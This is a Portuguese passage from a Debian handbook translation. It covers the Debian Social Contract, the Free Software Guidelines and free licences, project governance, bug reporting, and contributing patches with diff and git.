Esta é a Regra n º 1. O Debian é e continuará a ser inteiramente e exclusivamente composto de softwares livres. Além disso, todo o desenvolvimento de softwares dentro do projeto do Debian, por si só, será livre.

PERSPECTIVA Além do software

A primeira versão do Contrato Social Debian disse "O Debian permanecerá 100% Software Livre". O desaparecimento da palavra "software" (com a ratificação da versão 1.1 do contrato em abril de 2004) indica a vontade de alcançar a liberdade, não só em software, mas também na documentação e em qualquer outro elemento que o Debian queira fornecer dentro do seu sistema operacional .

Esta mudança, que só foi concebida como editorial, tem, na realidade, tido inúmeras consequências, especialmente com a remoção de algumas documentações problemáticas. Além disso, o uso crescente de firmware em drivers coloca problemas: muitos são não-livres, ainda que sejam necessários para o funcionamento adequado do hardware correspondente.

Nós iremos retribuir à comunidade de software livre.

Qualquer melhoria contribuída pelo projeto do Debian para um trabalho integrado na distribuição é enviado de volta ao autor do trabalho (chamado de "desenvolvedor original"). Em geral, o Debian vai cooperar com a comunidade em vez de trabalhar isoladamente.

COMUNIDADE Autor original, ou desenvolvedor Debian?

O termo "autor original" significa o(s) autor(es) / desenvolvedor(es) de uma obra, aqueles que escrevem e desenvolvem. Por outro lado, um "desenvolvedor Debian" normalmente transforma uma obra já existente em um pacote Debian (o termo "mantenedor do Debian" é mais adequado aqui).

Na prática, pode haver sobreposições entre as duas funções: o mantenedor Debian pode escrever um patch, que beneficia todos os usuários do trabalho. Em geral, o Debian encoraja os responsáveis por um pacote no Debian a se envolverem no desenvolvimento original (ou “upstream”) também (eles se tornam, então, contribuidores, sem serem confinados ao papel de simples usuários de um programa). Ou o desenvolvedor Debian cria ferramentas ou documentação para a distribuição Debian, como assistentes de empacotamento (e.g. debhelper) ou infraestruturas de integração (e.g. ca-certificates) e se torna um "autor original" por estas criações.

Nós não escondemos problemas.

Debian não é perfeito, e vão haver novos problemas para corrigir todos os dias. O Debian vai manter seu banco de dados de relatórios de bugs aberto para a visualização pública todo o tempo. Relatórios que os usuários preenchem on-line, prontamente se tornam visíveis para todos.

Nossas prioridades são nossos usuários e o software livre.

Esse compromisso é mais difícil de definir. O Debian impõe, assim, um viés quando uma decisão deve ser tomada, e irá descartar uma solução fácil para os desenvolvedores que coloque em risco a experiência do usuário, optando por uma solução mais elegante, mesmo que seja mais difícil de implementar. Isto significa levar em conta, prioritariamente, os interesses dos usuários e o software livre.

Obras que não atendem nossos padrões de software livre.

Debian aceita e entende que os usuários podem querer usar alguns programas não-livres. É por isso que projeto permite a utilização de parte da sua infraestrutura para distribuir pacotes Debian de software não-livre que podem ser redistribuídos.

COMUNIDADE A favor ou contra a seção non-free ("não-livres")?

O compromisso de manter uma estrutura para acomodar software não-livre (ou seja, a seção non-free, consulte a barra lateral VOCABULÁRIO Os arquivos main, contrib e non-free) é frequentemente um tema de debate dentro da comunidade Debian.

Quem é contra argumenta que afasta as pessoas dos equivalentes de software livre, e contradiz o princípio de servir apenas a causa do software livre. Quem é a favor afirma categoricamente que a maioria dos pacotes não-livres são "quase livres", exceto por apenas uma ou duas restrições irritantes (o mais comum seria a proibição contra o uso comercial do software). Ao distribuir essas obras no ramo não-livre, explica-se indiretamente para os autores que suas criações seriam melhor conhecidas e mais amplamente utilizadas se pudessem ser incluídas na seção principal. Eles são, assim, educadamente convidados a alterar a sua licença para servir a esse propósito.

Depois de uma primeira tentativa infrutífera, em 2004, é pouco provável que a remoção completa da seção não-livre volte à agenda, especialmente por que ela contém muitos documentos úteis que foram movidos para lá simplesmente porque eles não atendem às novas exigências para a seção principal. Isto é especialmente o caso de arquivos de documentação de determinados softwares emitidos pelo projeto GNU (em particular, Emacs e Make). Muitos sistemas modernos também precisam dos chamados "firmware", pequenoas arquivos binários, que são necessários para executar hardware específico. Muitos destes arquivos só podem ser achados na seção non-free (não-livre).

A existência contínua da seção non-free é uma fonte esporádica de atritos com a Free Software Foundation, e é a principal razão dela não recomendar oficialmente o Debian como sistema operacional.

1.2.2. A Definição Debian de Software Livre

Este documento de referência define qual software é "livre o suficiente" para ser incluído no Debian. Se a licença de um programa está de acordo com estes princípios, ele pode ser incluído na seção principal; do contrário, e desde que a distribuição livre seja permitida, pode ser encontrado na seção non-free. A seção non-free não é oficialmente parte do Debian; é um serviço adicional prestado aos usuários. Uma eplicação mais detalhada das diferentes partes do arquivamento Debian pode ser encontrada na barra lateral VOCABULÁRIO Os arquivos main, contrib e non-free.

Mais do que um critério de seleção para o Debian, este texto se converteu em referência no assunto de software livre, e serviu como base para a "definição de Código Aberto" (Open Source). Historicamente é uma das primeiras definições formais do conceito de "software livre".

A GNU General Public License, a licença BSD, e a Licença Artística são exemplos de licenças livres tradicionais que seguem os 9 pontos mencionados neste texto. Abaixo você encontrará o texto conforme está publicado no site do Debian.

→ https://www.debian.org/social_contract.html#guidelines

Redistribuição Livre.  A licença de um componente Debian não pode restringir nenhuma parte de vender ou doar o software como um componente de uma distribuição agregada de software contendo programas de várias fontes diferentes. A licença não pode exigir um royalty ou outra taxa para tal venda.

Código Fonte.  O programa deve incluir código fonte e deve permitir a distribuição em código fonte, bem como em formato compilado.

Trabalhos derivados.  A licença deve permitir modificações e trabalhos derivados e deve permitir que estes sejam distribuídos sob os mesmos termos da licença do software original.

integridade do autor do código fonte.  A licença pode restringir código fonte de ser distribuído em forma modificada apenas se a licença permitir a distribuição de "patch files" com o código fonte para o propósito de modificar o programa em tempo de compilação. A licença deve permitir explicitamente a distribuição de software construído a partir do código fonte modificado. A licença pode exigir que trabalhos derivados tenham um nome ou número de versão do software diferente do original (Este é um compromisso. O grupo Debian encoraja todos os autores a não restringir nenhum arquivo, fonte ou binário, de ser modificado).

Nenhuma discriminação contra pessoas ou grupos.  A licença não deve discriminar qualquer pessoa ou grupo de pessoas.

Nenhuma discriminação contra campos de atuação.  A licença não deve restringir ninguém de fazer uso do programa em um campo específico de atuação. Por exemplo, ela não pode restringir o programa de ser usado em uma empresa, ou de ser usado para pesquisa genética.

Distribuição da licença.  Os direitos associados ao programa devem se aplicar a todos a quem o programa é redistribuído, sem a necessidade de execução de uma licença adicional por essas pessoas.

A licença não deve ser específica para Debian.  Os direitos associados ao programa não devem depender do programa ser parte de um sistema Debian. Se o programa for extraído do Debian e usado ou distribuído sem o Debian mas por outro lado, dentro dos termos da licença do programa, todas as partes para quem o programa é redistribuído devem ter os mesmos direitos que são concedidos em conjunto com o sistema Debian.

A licença não deve contaminar outros softwares.  A licença não deve colocar restrições em outro software que é distribuído juntamente com o software licenciado. Por exemplo, a licença não deve impor que todos os outros programas distribuídos na mesma mídia sejam software livre.

DE VOLTA AO BÁSICO Copyleft

Copyleft é um princípio que consiste em utilizar os direitos autorais para garantir a liberdade de uma obra e os seus derivados, em vez de limitar os direitos de utilizações, como é o caso com o software proprietário. É, também, um jogo de palavras sobre o termo "copyright" . Richard Stallman descobriu a ideia quando um amigo dele, apaixonado por trocadilhos, escreveu em um envelope endereçado a ele: "copyleft: todos os direitos revertidos". Copyleft impõe a preservação de todas liberdades iniciais sobre a distribuição de uma versão original ou modificada de um trabalho (geralmente um programa). Portanto, não é possível distribuir um programa como software proprietário, se ele é derivado do código de um programa liberado como copyleft.

A família de licença copyleft mais conhecida é, naturalmente, a GNU General Public License (GPL, Licença Pública Geral GNU), e seus derivados, a GNU Lesser General Public License (LGPL, Licença Pública Menos Geral GNU , e a GNU Free Documentation License (GFDL, Licença de Documentação Livre GNU). Infelizmente, as licenças copyleft são geralmente incompatíveis entre si. Consequentemente, o melhor é usar somente uma delas.

Exemplos de licenças.  As licenças “GPL”, “BSD” e “Artística” são exemplos de licenças que consideramos “livres”.

DE VOLTA AO BÁSICO Licenças Livres

A GNU GPL, a licença BSD, e a Licença Artística estão todas em conformidade com a Definição Debian de Software Livre, embora sejam muito diferentes.

A GNU GPL, utilizada e promovida pela FSF (Free Software Foundation), é a mais comum. Sua principal característica é que ela também se aplica a qualquer trabalho derivado que é redistribuído: um programa incorporando ou usando código GPL só pode ser distribuído de acordo com os mesmos termos. Proíbe, assim, qualquer reutilização em um aplicativo proprietário. Isto coloca sérios problemas para a reutilização de código GPL em software livre incompatível com esta licença. Como tal, às vezes é impossível ligar um programa publicado sob outra licença de software livre com uma biblioteca distribuída sob a GPL. Por outro lado, essa licença é muita sólida na legislação americana: advogados da FSF têm participado na elaboração da mesma, e muitas vezes forçado violadores a chegar a um acordo amigável com a FSF, sem ir a tribunal.

→ https://www.gnu.org/copyleft/gpl.html

A licença BSD é menos restritiva: tudo é permitido, inclusive o uso de código BSD modificada em uma aplicação proprietária.

→ https://www.opensource.org/licenses/bsd-license.php

Finalmente, a Licença Artística alcança um meio-termo entre estas duas outras: a integração do código em uma aplicação proprietária é autorizada, mas qualquer modificação deve ser publicada.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

O texto completo dessas licenças está disponível em /usr/share/common-licenses/ em qualquer sistema Debian (no caso do BSD a nova licença de 3 cláusulas).

COMUNIDADE Bruce Perens, um líder controverso

Bruce Perens foi o segundo líder do projeto Debian, logo após Ian Murdock. Ele foi muito controverso em seus métodos dinâmicos e autoritários. Ele, no entanto, continua a ser um importante contribuidor para o Debian, para quem o Debian é especialmente grato pela edição da famosa "Definição Debian de Software Livre" (DFSG), uma ideia original de Ean Schuessler. Posteriormente, Bruce derivaria a partir desta a famosa "Definição de Código Aberto", removendo todas referências ao Debian dela.

→ https://opensource.org/

Sua partida do projeto foi bastante emocional, mas Bruce continuou fortemente ligado ao Debian, já que ele continua a promover essa distribuição nos âmbitos político e econômico. Ele ainda esporadicamente aparece nas listas de e-mail para dar o seu conselho e apresentar suas mais recentes iniciativas em favor do Debian.

Um último detalhe anedótico. Foi Bruce o responsável por inspirar os diferentes "codinomes" para as versões Debian (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 — Bullseye, 12 — Bookworm, Unstable — Sid). Eles usaram os nomes dos personagens do filme Toy Story. Este filme de animação feito inteiramente por computação gráfica foi produzido pela Pixar Studios, onde Bruce foi funcionário no momento em que ele liderou o projeto Debian. O nome "Sid" tem status especial, uma vez que será eternamente associado ao ramo Unstable (Instável). No filme, esse personagem era o menino vizinho que sempre quebrava os brinquedos — por isso tenha cuidado ao ficar muito próximo da Unstable (Instável). Além disto, Sid também é um acrônimo de "Still In Development" (Ainda em Desenvolvimento).

1.3. O Funcionamento interno do Projeto Debian

Os resultados finais abundantes produzidos pelo projeto Debian derivam simultaneamente do trabalho na infraestrutura realizado pelos experientes desenvolvedores Debian, de trabalho individual ou coletivo dos desenvolvedores de pacotes Debian e dos comentários dos usuários.

1.3.1. Os Desenvolvedores Debian

Os desenvolvedores Debian tem várias responsabilidades, e como membros oficiais do projeto, eles têm grande influência na direção que o projeto toma. Um desenvolvedor Debian é geralmente responsável por pelo menos um pacote, mas de acordo com seu tempo disponível e vontade, eles são livres para se envolverem em numerosas equipes e projetos, adquirindo, assim, mais responsabilidades dentro do projeto.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

FERRAMENTA banco de dados de Desenvolvedores

O Debian possui um banco de dados que inclui todos os desenvolvedores registrados com o projeto, e suas informações relevantes (endereço, telefone, coordenadas geográficas como longitude e latitude, etc.). Algumas informações (nome e sobrenome, país, nome de usuário dentro do projeto, nome de usuário no IRC, chave GnuPG, etc) são públicos e disponíveis na web.

→ https://db.debian.org/

As coordenadas geográficas permitem a criação de um mapa localizando todos os desenvolvedores ao redor do mundo. O Debian é realmente um projeto internacional: seus desenvolvedores podem ser encontrados em todos os continentes, embora a maioria esteja no ocidente.

Figura 1.1. rede de distribuição mundial de desenvolvedores Debian

Manutenção de pacotes é uma atividade relativamente organizada, muito documentada ou mesmo regulamentada. Deve, de fato, obedecer todas as normas estabelecidas pela Política Debian. Felizmente, existem muitas ferramentas que facilitam o trabalho do mantenedor. O desenvolvedor pode, assim, se concentrar nas especificidades do seu pacote e em tarefas mais complexas, tais como correção de erros.

→ https://www.debian.org/doc/debian-policy/

DE VOLTA AO BÁSICO Manutenção de Pacotes, o trabalho do desenvolvedor

A manutenção de um pacote implica, primeiro, em "empacotar" um software. Especificamente, isso significa definir o meio de instalação para que, uma vez instalado, este software funcione e cumpra as regras que o projeto Debian definiu para si mesmo. O resultado dessa operação é salvo em um arquivo .deb. A instalação efetiva do programa irá exigir nada mais do que a extração deste arquivo compactado e execução de alguns scripts de pré-instalação ou pós-instalação nele contido.

Após esta fase inicial, o ciclo de manutenção realmente começa: preparação de atualizações para seguir a versão mais recente da Política Debian, correção de erros reportados pelos usuários, e inclusão de novas versões dos autores originais do programa que, naturalmente, continua a desenvolver-se simultaneamente. Por exemplo, no momento do empacotamento inicial, o programa estava na versão 1.2.3. Após alguns meses de desenvolvimento, os autores originais lançam uma nova versão estável, numerada como 1.4.0. Neste ponto, o mantenedor do Debian deve atualizar o pacote, para que os usuários possam se beneficiar de sua última versão estável.

A política, um elemento essencial do Projeto Debian, estabelece as normas que asseguram a qualidade dos pacotes e interoperabilidade perfeita da distribuição. Graças a esta Política, o Debian permanece consistente apesar de seu tamanho gigantesco. Esta Política não é cláusula pétrea, mas continuamente evolui graças às propostas formuladas na lista de discussão <debian-policy@lists.debia.org>. As alterações acordadas por todas as partes interessadas são aprovadas e aplicadas ao texto por um reduzido grupo de mantenedores que não têm qualquer responsabilidade editorial (eles somente incluem as modificações acordadas pelos desenvolvedores do Debian que são membros da lista acima referida). Você pode ler as propostas de alteração em andamento no sistema de rastreamento de erros:

→ https://bugs.debian.org/debian-policy

COMUNIDADE Processo editorial da política

Qualquer pessoa pode propor uma emenda à Política Debian simplesmente apresentando um relatório de erro com um nível de gravidade "wishlist" (desejo) para o pacote debian-policy. O processo que então começará está documentado em https://www.debian.org/doc/debian-policy/ap-process.html: se é reconhecido que o problema apresentado deve ser resolvido através da criação de uma nova regra na Política Debian, uma discussão começa na lista de discussão <debian-policy@lists.debian.org > até que um consenso seja alcançado e uma proposta emitida. Alguém redige a alteração pretendida e envia para aprovação (na forma de um patch para revisão). Tão logo que dois outros desenvolvedores aprovem o fato de que a alteração proposta reflita o consenso alcançado na discussão anterior, a proposta pode ser incluída no documento oficial por um dos mantenedores do pacote debian-policy. Se o processo falhar em um destes passos, os mantenedores fecham o erro, classificando a proposta como rejeitada.

POLÍTICA DEBIAN A documentação

A documentação de cada pacote é armazenada em /usr/share/doc/package/. Este diretório normalmente contém um arquivo README.Debian que descreve os ajustes específicos do Debian feitos pelo mantenedor do pacote. É, portanto, aconselhável ler este arquivo antes de qualquer configuração, a fim de se beneficiar da sua experiência. Também encontramos um aquivo changelog.Debian.gz que descreve as mudanças feitas de uma versão para a próxima pelo mantenedor do Debian. Não confunda com o arquivo changelog.gz (ou equivalente), que descreve as mudanças feitas pelos desenvolvedores originais. O arquivo copyright inclui informações sobre os autores e a cobertura da licença do software. Finalmente, podemos também encontrar um arquivo chamado NEWS.Debian.gz, que permite ao desenvolvedor Debian comunicar informações importantes a respeito das atualizações (se apt-listchanges está instalado, as mensagens são exibidas automaticamente). Todos os outros arquivos são específicos para o software em questão. Gostaríamos especialmente de salientar o subdiretório examples, que frequentemente contém exemplos dos arquivos de configuração.

A Política cobre muito bem os aspectos técnicos do empacotamento. O tamanho do projeto também levanta problemas organizacionais, que são tratados pela Constituição Debian, que estabelece uma estrutura e meios para tomada de decisão. Em outras palavras, um sistema formal de governança.

Esta constituição define alguns papéis e posições, além de responsabilidades e autoridades para cada um(a). É particularmente interessante notar que os(as) desenvolvedores (as) do Debian sempre têm a decisão definitiva tomada autoridade por uma votação de resolução geral, em que uma maioria qualificada de três quartos (75%) de votos é necessária para as alterações significativas a serem feitas (como aquelas com um impacto sobre os Documentos de Fundação). No entanto, os(as) desenvolvedores (as) anualmente elegem um(a) "líder" para representá-los(as) em reuniões, e assegurar a coordenação interna entre equipes diferentes. Esta eleição é sempre um período de intensas discussões. Este papel do(a) líder do Projeto Debian (DPL) não é formalmente definido por qualquer documento: os(as) candidatos(as) para esse posto normalmente propõe sua própria definição da posição. Na prática, os papéis do(a) líder incluem servir como um(a) representante para os meios de comunicação, de coordenação entre equipes "internas" , e fornecer orientação geral para o projeto, dentro do qual os(as) desenvolvedores (as) podem se relacionar: as opiniões do(a) DPL são implicitamente aprovadas pela maioria dos(as) membros(as) do projeto .

Especificamente, o líder tem autoridade real; o voto dele resolve votações empatadas, ele pode tomar qualquer decisão que não esteja sob a autoridade de alguém e pode delegar parte das suas responsabilidades.

Desde a sua criação, o projeto foi sucessivamente liderado por Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Neill McGovern, Mehdi Dogguy, Chris Lamb, Sam Hartman e Jonathan Carter.

A Constituição também define uma "comissão técnica". O papel essencial desta comissão é o de decidir sobre questões técnicas, quando os desenvolvedores envolvidos não chegaram a um acordo entre si. Caso contrário, esta comissão tem um papel consultivo para qualquer desenvolvedor que não consegue tomar uma decisão para o quai é responsável. É importante notar que eles só se envolvem quando convidados a fazê-lo por uma das partes em questão.

Finalmente, a Constituição define a posição de "secretário de projeto", que é responsável pela organização dos votos relacionados às várias eleições e resoluções gerais.

O procedimento de “resolução geral” (general resolution - GR) é totalmente detalhado na constituição, desde o período de discussão inicial até a contagem final dos votos. O aspecto mais interessante desse processo é que, quando se trata de uma votação real, os(as) desenvolvedores (as) precisam classificar as diferentes opções de votação entre eles(as) e o(a) vencedor(a) é selecionado(a) com um Método de Condorcet (mais especificamente, o método de Schulze). Para obter mais detalhes, consulte:

→ https://www.debian.org/devel/constitution

CULTURA Flamewar, a discussão que incendeia

Um flamewar é um debate extremamente ardoroso, que muitas vezes acaba com pessoas atacando umas às outras uma vez que toda a argumentação razoável tenha sido esgotada em ambos os lados. Alguns temas são frequentemente mais sujeitos a polêmica do que outros (a escolha do editor de texto, "você prefere vi ou emacs?", é um velho favorito). As questões muitas vezes provocam trocas de emails extremamente rápidas devido ao grande número de pessoas com uma opinião sobre o assunto (todos) e da natureza muito pessoal de tais questões.

Geralmente nada particularmente útil vem de tais discussões; a recomendação geral é ficar fora destes debates, e talvez percorrer rapidamente seu conteúdo já que ler tudo seria muito demorado.

Embora esta constituição se assemelhe a uma aparente democracia, a realidade cotidiana é muito diferente: o Debian naturalmente segue as regras da meritocracia do software livre: quem faz as coisas decide como fazê-las. Muito tempo pode ser desperdiçado debatendo os méritos de várias formas de abordar um problema; a solução escolhida será a primeira que é funcional e satisfatória... que honrará o tempo que uma pessoa competente colocou nela.

Esta é a única maneira de obter reconhecimento: fazer algo de útil e mostrar que funciona bem. Muitas equipes "administrativas" Debian operam por cooptação, preferindo voluntários que já contribuíram efetivamente e provaram sua competência. A natureza pública do trabalho dessas equipes faz com que seja possível a observação e ajuda por parte de novos contribuintes, sem a necessidade de privilégios especiais. É por isso que o Debian é frequentemente descrito como uma "meritocracia".

CULTURA Meritocracia, o reino do conhecimento

A meritocracia é uma forma de governo em que autoridade é exercida por quem tem maior mérito. Para o Debian, o mérito é uma medida de competência, que é, em si, avaliado pela observação das ações passadas por uma ou mais pessoas dentro do projeto (Stefano Zacchiroli, um ex-líder do projeto, fala de "do-ocracy", que significa "poder para que faz as coisas acontecerem"). Sua simples existência demonstra um certo nível de competência; suas realizações sendo geralmente um software live, com código-fonte disponível, que pode facilmente ser revisto por pares para avaliar sua qualidade.

Este efetivo método operacional garante a qualidade dos contribuidores nas equipes Debian "chave". Este método é de forma alguma perfeito e, ocasionalmente, há aqueles que não aceitam esta forma de operar. A seleção dos desenvolvedores aceitos nas equipes pode parecer um pouco arbitrária, ou mesmo injusta. Além disso, nem todo mundo tem a mesma definição do serviço esperado das equipes. Para alguns, é inaceitável ter que esperar oito dias para a inclusão de um pacote novo, enquanto outros vão esperar pacientemente por três semanas sem nenhum problema. Como tal, há queixas regulares a partir de descontentes com a "qualidade de serviço" de algumas equipes.

COMUNIDADE Integração de novos mantenedores

A equipe responsável pela admissão de novos desenvolvedores é a mais regularmente criticada. É preciso reconhecer que, ao longo dos anos, o projeto se tornou cada vez mais exigente dos desenvolvedores que aceita. Algumas pessoas podem ver alguma injustiça nisso, mas devemos confessar que, o que eram apenas pequenos desafios no início tornaram-se muito maiores em uma comunidade de mais de 1.000 pessoas, quando se trata de garantir a qualidade e integridade de tudo o que o Debian produz para seus usuários.

Além disso, o processo de aceitação conclui-se pela revisão da candidatura por uma equipe pequena, Gerentes das Contas do Debian (Debian Account Managers). Tais gerentes são, portanto, particularmente expostos à crítica, uma vez que têm a palavra final sobre a inclusão ou rejeição de um(a) voluntário(a) dentro da comunidade de desenvolvedores(as) Debian. Na prática, às vezes devem adiar a aceitação de uma pessoa até que tenha aprendido mais sobre as operações do projeto. Pode-se, naturalmente, contribuir para o Debian antes de ser aceito como um(a) desenvolvedor(a) oficial, sendo patrocinado(a) por desenvolvedores(as) atuais.

1.3.2. O Papel Ativo dos Usuários

Alguém pode se perguntar se é relevante mencionar os usuários entre aqueles que trabalham dentro do projeto Debian, mas a resposta é com certeza "sim". eles desempenham um papel fundamental no projeto. Longe de serem "passivos", alguns usuários executam versões de desenvolvimento do Debian e regularmente apresentam relatórios de bugs para indicar problemas. Outros vão ainda mais longe e apresentam ideias de melhorias, mediante a apresentação de um relatório de bug com um nível de gravidade "wishlist", ou mesmo apresentam correções no código fonte, chamadas de "patches" (remendos em português) (vejaSeção 1.3.2.3, “Enviando correções” ).

1.3.2.1. Reportando bugs

A ferramenta fundamental para submeter bugs no Debian é o Sistema de Rastreio de Bugs (Debian BTS) que é usado por muitas partes do projeto. A parte pública (a interface web) permite aos usuários visualizarem todos os bugs reportados, com a opção de mostrar uma lista ordenada de erros selecionados de acordo com vários critérios, tais como: pacote afetado, gravidade, estado, endereço do relator, endereço do mantenedor responsável, etiquetas, etc. Também é possível navegar pela lista completa do histórico de todas as discussões sobre cada um dos bugs.

Por dentro, o BTS Debian é baseado em e-mail: todas informações que armazena vêm de mensagens enviadas pelas pessoas envolvidas. Qualquer e-mail enviado para <12345@bugs.debian.org > irá, portanto, ser atribuída à história de bug número 12345. Pessoas autorizadas podem "fechar" um erro ao escrever uma mensagem descrevendo as razões para a decisão de fechar o erro para <12345-done@bugs.debian.org > (um bug é fechado quando o problema indicado foi resolvido ou não é mais relevante). Um novo bug é relatada através do envio de um e-mail para < submit@bugs.debian.org > de acordo com um formato específico que identifica o pacote em questão. O endereço < control@bugs.debian.org > permite a edição de todos as "meta-informações" relacionadas a um bug.

O BTS Debian tem outras características funcionais, tais como o uso de etiquetas para rotular erros. Para mais informações, consulte

→ https://www.debian.org/Bugs/

VOCABULÁRIO Severidade de um bug

A severidade de um bug atribui formalmente um grau de severidade para o problema relatado. Efetivamente, nem todos os bugs têm a mesma importância, por exemplo, um erro de digitação em uma página de manual não é comparável a uma vulnerabilidade de segurança em um software do servidor.

O Debian usa uma escala estendida para indicar com precisão a severidade de um bug. Cada nível é definido com precisão a fim de facilitar a seleção dos mesmos.

→ https://www.debian.org/Bugs/Developer#severities

Usuários(as) também podem usar a linha de comando para enviar relatórios de bugs em um pacote Debian com o comando reportbug. Ele ajuda ao garantir que o bug em questão ainda não foi preenchido, prevenindo assim redundância no sistema. Ele lembra o(a) usuário(a) da definição dos níveis de severidade para que o relatório seja tão preciso quanto possível (o(a) desenvolvedor(a) pode sempre ajustar esses parâmetros mais tarde, se necessário). Ele ajuda a escrever um relatório de bug completo sem que o(a) usuário(a) precise conhecer a sintaxe exata, escrevendo-o e permitindo que o(a) usuário(a) possa editá-lo. Este relatório será enviado através de um servidor de e-mail (por padrão, um servidor de e-mail remoto executado pelo Debian, mas o reportbug também pode usar um servidor local).

Esta ferramenta tem como primeiro alvo as versões de desenvolvimento, que é onde os bugs são corrigidos. Efetivamente, as mudanças não são bem-vindas na versão estável do Debian, com poucas exceções para as atualizações de segurança ou outras atualizações importantes (se, por exemplo, um pacote não funciona de forma alguma). A correção de um pequeno bug em um pacote Debian deve, portanto, esperar pela próxima versão estável.

1.3.2.2. Tradução e documentação

Além disso, inúmeros usuários satisfeitos do serviço oferecido pelo Debian gostariam de fazer uma contribuição própria para o projeto. Como nem todos tem níveis apropriados de experiência em programação, eles escolhem ajudar com a tradução e revisão de documentação. Há listas de discussão específicas para vários idiomas.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

DE VOLTA AO BÁSICO O que são i18n e l10n?

"I18n" e "l10n" são as abreviaturas (em inglês) para as palavras "internacionalização" e "regionalização", respectivamente, preservando a letra inicial e final de cada palavra, e o número de letras no meio.

"Internacionalizar" um programa consiste em modificá-lo para que ele possa ser traduzido (regionalizado). Isso envolve reescrever parcialmente um programa inicialmente escrito para trabalhar em uma língua, a fim de ser capaz de abri-lo para todos os idiomas.

"Regionalizar" um programa consiste em traduzir as mensagens originais (frequentemente em Inglês) para outro idioma. Para isso, já deve ter sido internacionalizado.

Em resumo, a internacionalização prepara o software para a tradução, que é então executada pela regionalização.

1.3.2.3. Enviando correções

Usuários mais avançados podem ser capazes de fornecer uma correção para um programa, enviando um patch.

Um patch é um arquivo que descreve mudanças a serem feitas a um ou mais arquivos de referência. Especificamente, ele irá conter uma lista de linhas a serem removidos ou adicionado ao código, bem como (por vezes) linhas tomadas a partir do texto de referência, substituindo as modificações no contexto (que permitem identificar o posicionamento das alterações, se os números de linha foram alterados).

O instrumento utilizado para aplicar as modificações em tal arquivo é simplesmente chamado de patch. A ferramenta que o cria é chamada diff, e é utilizada como se segue:

$ diff -u file.old file.new >file.patch

O arquivo file.patch contém as instruções para alterar o conteúdo do file.old em File.new . Podemos enviá-lo para alguém, que pode usá-lo para recriar File.new a partir dos outros dois, deste jeito:

$ patch -p0 file.old <file.patch

O arquivo file.old, é agora idêntico ao file.new.

Na prática, a maioria dos softwares é mantida em repositórios Git e os(as) contribuidores(as) são mais propensos a usar git para recuperar o código-fonte e propor mudanças. O git diff gerará um arquivo no mesmo formato que o diff -u faria e git apply pode fazer o mesmo que o patch.

CULTURA Git

O Git é uma ferramenta para o trabalho colaborativo em vários arquivos, mantendo um histórico de modificações. Os arquivos em questão são geralmente arquivos de texto, como o código de um programa fonte. Se várias pessoas trabalham juntas no mesmo arquivo, git apenas podem mesclar as alterações feitas se elas foram feitas em diferentes partes do arquivo. Caso contrário, esses "Conflitos" devem ser resolvidos à mão.

O Git é um sistema distribuído onde cada usuário(a) tem um repositório com o histórico completo das alterações. Repositórios centrais são usados para baixar o projeto (git clone) e para compartilhar o trabalho feito com outros(as) (git push). O repositório pode conter múltiplas versões dos arquivos, mas apenas uma versão pode ser trabalhada em um dado momento: esta versão é chamada de cópia de trabalho (e pode ser alterada para apontar para outra versão com git checkout). O Git pode exibir as modificações feitas na cópia de trabalho (git diff), pode preparar mudanças para inclusão (git add), e pode criar uma nova entrada no histórico da versões (git commit). Também pode atualizar a cópia de trabalho para incluir modificações feitas em paralelo por outros(as) usuários(as)(git pull) e pode registrar uma configuração em particular no histórico para fazer com que seja facilmente extraída mais tarde (git tag).

O Git torna fácil lidar com várias versões simultâneas de um projeto em desenvolvimento sem que interfiram uns com os outros. Estas versões são chamados ramos . Esta metáfora de uma árvore é bastante precisa, uma vez que um programa é desenvolvido inicialmente em um tronco comum. Quando um marco foi alcançado (como a versão 1.0), o desenvolvimento continua em dois ramos: o ramo de desenvolvimento prepara o próximo grande lançamento, e o ramo de manutenção gerencia as atualizações e correções para a versão 1.0.

Git é, atualmente, o sistema de controle de versão mais popular, contudo, ele não é o único. Historicamente, o CVS (Concurrent Versions System -- Sistema de Versões Concorrentes) foi a primeira ferramenta amplamente utilizada, mas suas inúmeras limitações contribuíram para a aparição de mais alternativas livres modernas. Essas incluem especialmente subversion (svn), Git, git, Bazaar (bzr), Fossil (fossil) e Mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

Está além do escopo deste livro fornecer uma explicação detalhada sobre o Git. Para isso, consulte o livro Pro Git.

→ https://git-scm.com/book/

Embora a saída de git diff seja um arquivo que pode ser compartilhado com outros desenvolvedores, geralmente existem maneiras melhores de enviar alterações. Se os desenvolvedores preferem receber patches por e-mail, eles geralmente querem patches gerados com git format-patch para que possam ser integrados diretamente no repositório com git am. Isso preserva as meta-informações dos commits e torna possível compartilhar vários commits de uma vez.

Este fluxo de trabalho baseado em email ainda é popular mas a tendência é que seja substituído pelo uso dos merge requests (ou pull requests) sempre que o software seja hospedado numa plataforma como GitHub ou GitLab — e o Debian está usando GitLab no seu servidor salsa.debian.org. Nestes sistemas, uma vez que você tenha criado uma conta, você faz um fork no repositório, efetivamente criando uma cópia do repositório na sua própria conta, e então você pode clonar este repositório e mandar suas próprias mudanças nele. From there, the web interface will suggest you to submit a merge request, notifying the developers of your changes, making it easy for them to review and accept your changes with a single click.

1.3.2.4. Outras formas de contribuir

Todos esses mecanismos de colaboração são mais eficientes com o comportamento dos usuários. Longe de serem uma coleção de pessoas isoladas, os usuários são uma verdadeira comunidade aonde ocorrem numerosas trocas. Notamos especialmente a impressionante atividade na lista de discussão de usuários, <debian-user@lists.debian.org> (Capítulo 7, Resolvendo Problemas e Encontrando Informações Relevantes discute isso com mais detalhe).

→ https://lists.debian.org/users.html

